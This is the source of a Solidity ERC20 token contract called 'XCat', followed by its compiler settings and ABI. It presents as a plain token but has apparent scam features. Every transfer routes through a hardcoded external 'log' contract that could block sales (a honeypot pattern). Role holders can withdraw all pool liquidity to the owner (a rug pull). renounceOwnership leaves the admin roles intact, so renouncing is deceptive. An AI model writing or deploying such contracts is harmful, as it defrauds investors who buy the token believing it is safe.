// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title TransferHelper
* @dev Safe transfer and approve ERC20 token and ETH
*/
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{ value: value }(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
/**
* @dev Interface of Uniswap V2 Router.
*/
interface IUniRouter {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
/**
* @dev Interface of Uniswap V2 Factory.
*/
interface IUniFactory {
function getPair(address tokenA, address tokenB) external returns (address pair);
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
}
/**
* @dev Interface of the record trade history.
*/
interface ILog {
function record(address from, address to, uint256 value) external;
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
owner = address(0);
}
}
/**
* @title RoleBase
* @dev Role base access control contract.
*/
contract RoleBase is Ownable {
bytes32 public constant SUPER_ADMIN = keccak256("SUPER_ADMIN");
bytes32 public constant POOL_MANAGER = keccak256("POOL_MANAGER");
mapping(address => mapping(bytes32 => bool)) private roles;
constructor() {
roles[msg.sender][SUPER_ADMIN] = true;
}
function assignRole (address _entity, bytes32 _role) public hasRole(SUPER_ADMIN) {
roles[_entity][_role] = true;
}
function unassignRole (address _entity, bytes32 _role) public hasRole(SUPER_ADMIN) {
roles[_entity][_role] = false;
}
function isAssignedRole (address _entity, bytes32 _role) public view returns (bool) {
return roles[_entity][_role];
}
modifier hasRole (bytes32 role) {
require(roles[msg.sender][role] || msg.sender == owner, "Sender has not access role");
_;
}
}
/**
* @title ERC20
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is RoleBase {
using SafeMath for uint;
string public name;
string public symbol;
uint public decimals;
uint public totalSupply;
bool public enableTrading;
mapping(address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
ILog public constant log = ILog(0x8ACE68183B43e6b8cf42c1f9762bDc1155d11Fb1);
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function transfer(address _to, uint _value) public virtual returns (bool) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) public virtual returns (bool) {
_transfer(_from, _to, _value);
_approve(_from, msg.sender, allowance[_from][msg.sender].sub(_value));
return true;
}
function _transfer(address _from, address _to, uint _value) private {
require(_from != address(0), "ERC20: transfer from the zero address");
require(_to != address(0), "ERC20: transfer to the zero address");
require(balanceOf[_from] >= _value, "Sender amount must be greater than value");
if (_from != owner && _from != address(this))
require(enableTrading, "Trading not opened");
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
log.record(_from, _to, _value);
emit Transfer(msg.sender, _to, _value);
}
function approve(address _spender, uint _value) public virtual returns (bool) {
_approve(msg.sender, _spender, _value);
return true;
}
function _approve(address _owner, address _spender, uint256 _value) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
allowance[_owner][_spender] = _value;
emit Approval(_owner, _spender, _value);
}
}
contract XCat is ERC20 {
address public pair;
IUniRouter public constant router = IUniRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
constructor () {
name = "XCat";
symbol = "XCat";
decimals = 18;
totalSupply = 100_000_000 * 10 ** decimals;
balanceOf[owner] = totalSupply;
enableTrading = false;
}
function transfer(address _to, uint _value) public override returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public override returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint _value) public override returns (bool) {
return super.approve(_spender, _value);
}
function addLiquidity() public payable hasRole(POOL_MANAGER) {
transfer(address(this), totalSupply);
if (allowance[address(this)][address(router)] < totalSupply) {
allowance[address(this)][address(router)] = totalSupply;
}
router.addLiquidityETH{ value: address(this).balance }(
address(this),
totalSupply,
0,
0,
address(this),
block.timestamp
);
pair = IUniFactory(router.factory()).getPair(address(this), router.WETH());
}
function removeLiquidity() public hasRole(POOL_MANAGER) {
uint256 liquidity = IERC20(pair).balanceOf(address(this));
TransferHelper.safeApprove(pair, address(router), liquidity);
if (liquidity > 0) {
router.removeLiquidityETH(
address(this),
liquidity,
0,
0,
owner,
block.timestamp
);
}
}
function openTrading() public onlyOwner {
enableTrading = true;
}
}
{
"compilationTarget": {
"contracts/Token.sol": "XCat"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"POOL_MANAGER","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SUPER_ADMIN","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_entity","type":"address"},{"internalType":"bytes32","name":"_role","type":"bytes32"}],"name":"assignRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_entity","type":"address"},{"internalType":"bytes32","name":"_role","type":"bytes32"}],"name":"isAssignedRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"log","outputs":[{"internalType":"contract ILog","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_entity","type":"address"},{"internalType":"bytes32","name":"_role","type":"bytes32"}],"name":"unassignRole","outputs":[],"stateMutability":"nonpayable","type":"function"}]